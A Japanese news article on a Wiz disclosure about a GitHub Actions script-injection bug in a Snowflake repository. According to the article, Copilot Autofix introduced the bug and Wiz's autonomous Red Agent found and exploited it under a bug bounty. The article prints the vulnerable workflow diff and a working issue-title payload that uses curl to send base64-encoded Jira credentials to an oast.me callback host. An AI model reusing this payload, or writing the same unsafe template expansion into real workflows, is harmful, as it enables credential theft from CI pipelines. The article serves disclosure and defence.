8月17日、Wizが「How Copilot Created & Red Agent Found a CI/CD Bug」と題した記事を公開した。この記事では、GitHub CopilotのAI自動修正がCI/CDワークフローに脆弱性を埋め込み、それをWizのAIエージェント「Red Agent」が自律的に発見・実証した一連のインシデントについて詳しく紹介されている。以下に、その内容を紹介する。
AIが書いたコードをAIが破った
「AIがセキュリティ脆弱性を生み出し、別のAIがそれを発見した」——このインシデントは、AI駆動の開発が広がる現場に向けた実証事例だ。
Wiz ResearchのAI自律エージェント「Red Agent」は、SnowflakeのHackerOneバグバウンティプログラムの一環として、Snowflakeが公開しているGitHubリポジトリ snowflakedb/snowflake-connector-net にクリティカルなGitHub Actionsワークフローのスクリプトインジェクション脆弱性を発見した。
その脆弱性が導入されたのは2026年6月18日。発見のわずか5日前のことだ。そして問題のコミットは、Copilot Autofix powered by AI との共著として記録されている(PR #1218)。
何が起きたか:安全なパターンを上書きしたAI
問題のワークフローファイルは .github/workflows/jira_issue.yml。issues: opened イベントをトリガーとして動作するため、認証なしの任意のGitHubユーザーがIssueを立てるだけで実行できる。
Copilot Autofixが変更前後のコードは以下の通りだ:
- env:
- ISSUE_TITLE: ${{ github.event.issue.title }}
- run: jq -n --arg title "$ISSUE_TITLE" ...
+ run: TITLE=$(echo '${{ github.event.issue.title }}' | sed ...)
変更前は、Issue タイトルを env: ブロック経由で環境変数に格納し、jq --arg で安全にJSON構築していた。これはシェルインジェクションを防ぐために意図的に選ばれたパターンだった。
Copilot Autofixはそれを削除し、${{ github.event.issue.title }} をシェルスクリプトに直接展開するコードに書き換えた。sed によるエスケープはGitHubのテンプレート展開後に実行されるため、タイトルにシングルクォートを含めるだけで echo '...' の文字列を抜け出し、任意コマンドを実行できる。
さらに、ワークフローには一見ガードのように見える条件があった:
if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]')
しかし issues イベントでは github.event.pull_request は常に null になる。つまり条件式は null != 'whitesource-for-github-com[bot]' となり、常に true——すべてのユーザーがゲートを通過できる。
Red Agentの自律的なペイロード修正
Red Agentは実際に攻撃ペイロードを送り込み、Jira APIトークンの外部送信を試みた。最初の試みは # コメント文字を使ったペイロードだったが、TITLE=$(...) の閉じ括弧も巻き込んでBashの構文エラーが発生した。
ここで注目すべきはRed Agentの挙動だ。エラーで止まるのではなく:
- 構文エラーを自律的に解析し
; echo 'を使ってシェルブロックを正しく閉じるようペイロードを修正し- 外部コールバックの受信に成功した
最終的なペイロードはIssueタイトルとして送り込まれた:
' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '
数秒以内に、GitHubのActionsランナー(Azure IP 20.106.182.197)からbase64エンコードされた認証情報がコールバックとして届いた。流出したトークンは qa@snowflake.net として snowflakecomputing.atlassian.net に認証され、Snowflakeのエンジニアリング・セキュリティコンプライアンス・バグバウンティ追跡プロジェクトへの読み取りアクセスが可能な状態だった。
同日パッチ、5日間の露出期間
Wizは2026年6月23日にHackerOneを通じてSnowflakeへ報告。Snowflakeは同日中にワークフローを修正(commit 1dc7766)し、安全な env: + jq --arg パターンを復元。翌24日にはJiraトークンを失効・ローテーションした。フォレンジック調査の結果、5日間の露出期間中にWiz以外の第三者がアクセスした痕跡はなかったと確認されている。
Snowflakeはコメントで以下のように述べている:
Wiz ResearchがHackerOneを通じて脆弱性を責任ある方法で報告し、協力してくれたことに感謝する。開示を受けた2026年6月23日に即座に調査・修正を行い、不正アクセスの証拠は確認されなかった。業界全体にこれらの知見を広めるためにWizと協力していく。
AIコードレビューへの教訓
このインシデントが示す構造的な問題は3点に整理できる:
- AIは「なぜそのパターンが選ばれたか」を知らない。 セキュリティ上の理由で明示的に実装されたコードも、AI自動修正はより"シンプルに見える"パターンに置き換えてしまう可能性がある
- 発見までの窓は急速に縮んでいる。 脆弱性が公開リポジトリに存在した期間はわずか5日。自動エージェントによるスキャンが日常化すると、パッチサイクルの短縮と短命なクレデンシャルの採用が必要になる
- AI生成PRも同じ静的解析・セキュリティレビューを通すべき。 特に、構造化されたデータパーサーを直接文字列展開に置き換えるような変更はガードレールで検知できるはずだ
詳細はHow Copilot Created & Red Agent Found a CI/CD Bugを参照していただきたい。